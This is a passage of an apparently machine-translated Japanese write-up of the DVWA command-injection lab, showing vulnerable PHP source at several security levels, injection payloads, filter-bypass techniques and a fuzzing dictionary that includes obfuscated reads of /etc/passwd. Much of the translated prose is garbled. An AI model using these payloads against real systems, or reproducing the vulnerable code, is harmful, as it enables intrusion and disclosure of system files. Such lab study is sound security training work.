日付:2019年8月1日16時05分34秒
更新:
著者:Bay0net
はじめに:コマンドインジェクションを使用して、フィルタをバイパスすることを確認する方法は、あなたもファズコマンドインジェクションポイントに辞書を書き込むことができます。
0x01の、脆弱性を導入
機会のデータを入力する必要がありますが、データと共に、同時に、悪質なコードを入力すると、システムは、このうまく設計された濾過プロセスのデータをロードし、一緒に実行する悪質なコードを引き起こし、最終的には通常のデータの情報開示や破壊につながるしませんでした。のみ
すべてのユーザー入力が信頼できるではありません。
0x02の、低セキュリティレベル
ソースを表示
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
解析コード
取得IP
質量参加の直接使用の価値shell_exec
実行。
Windows
次に、実行ping
コマンドを。linux
次に、実行ping -c 4
コマンドを。
ペイロードには、パイプ文字でコマンドを次の、テキストの末尾を参照してください。
127.0.0.1;ifconfig
127.0.0.1&ifconfig
127.0.0.1&&ifconfig
127.0.0.1|ifconfig
x||ifconfig
0x03の、ミディアムセキュリティレベル
ソースを表示
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
ソース解析
ろ過&&
や;
、他のを続行することができます。
0x04が、高セキュリティレベル
ソースを表示
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
ソース解析
濾過があり|
、スペースがあるので、あなたは、スペースを含まないペイロードを使用することができます。
127.0.0.1|ifconfig
0x05の、インポッシブルセキュリティレベル
ソースを表示
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
ソース解析
- 使用
user_token
要求をフィルタリングします - 何かが誤りで、数ではないかどうかを分割(インチ区切り値)送信されたパラメータを、割ます。
私は本当にすることができ、周りを取得するにはどのような方法があるとは思いませんでしたimpossible
で。。
0x06で、知識
パイプ文字について
パイプ文字でlinux
# & 表示任务在后台执行,如要在后台运行 redis-server
redis-server &
# && 表示前一条命令执行成功时,才执行后一条命令 ,如
echo '1' && echo '2'
# | 表示管道,上一条命令的输出,作为下一条命令参数,如
echo 'yes' | wc -l
# || 表示上一条命令执行失败后,才执行下一条命令,如
cat nofile || echo "fail"
バイパス(スペース、ステッチ、シングルとダブルクォーテーションマーク)について
バイパススペース
利用 < 来绕过,只能读文件
cat<flag
cat<>flag
利用 ${IFS} 绕过
ls${IFS}./tmp
cat${IFS}/tmp/1.txt
利用 $IFS$9、${IFS}$9 也可以绕过,和上面的一样
ステッチバイパス
ls 的变形
a=l;b=s;$a$b
uname -a 的变形
a=una;b=me$IFS$9-a;$a$b
cat /tmp/flag
a=ca;b=t$IFS$9/tm;c=p/fla;d=g.txt;$a$b$c$d
単一または二重引用符をバックスラッシュ
c''at fl""ag
c\at fl\ag
対応
${PS2} 对应字符 ‘>’
${PS4} 对应字符 ‘+’
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串
ファズ辞書
&ifconfig
&&ifconfig
&&&ifconfig
&&&&ifconfig
|ifconfig
||ifconfig
|||ifconfig
||||ifconfig
;ifconfig
;;ifconfig
& ifconfig
&& ifconfig
| ifconfig
|| ifconfig
; ifconfig
&${IFS}ifconfig
&&${IFS}ifconfig
|${IFS}ifconfig
||${IFS}ifconfig
;${IFS}ifconfig
a=if;b=config;$a$b
a=una;b=me$IFS$9-a;$a$b
c\at /et\c/pa\sswd
c''at /e""tc/pas""swd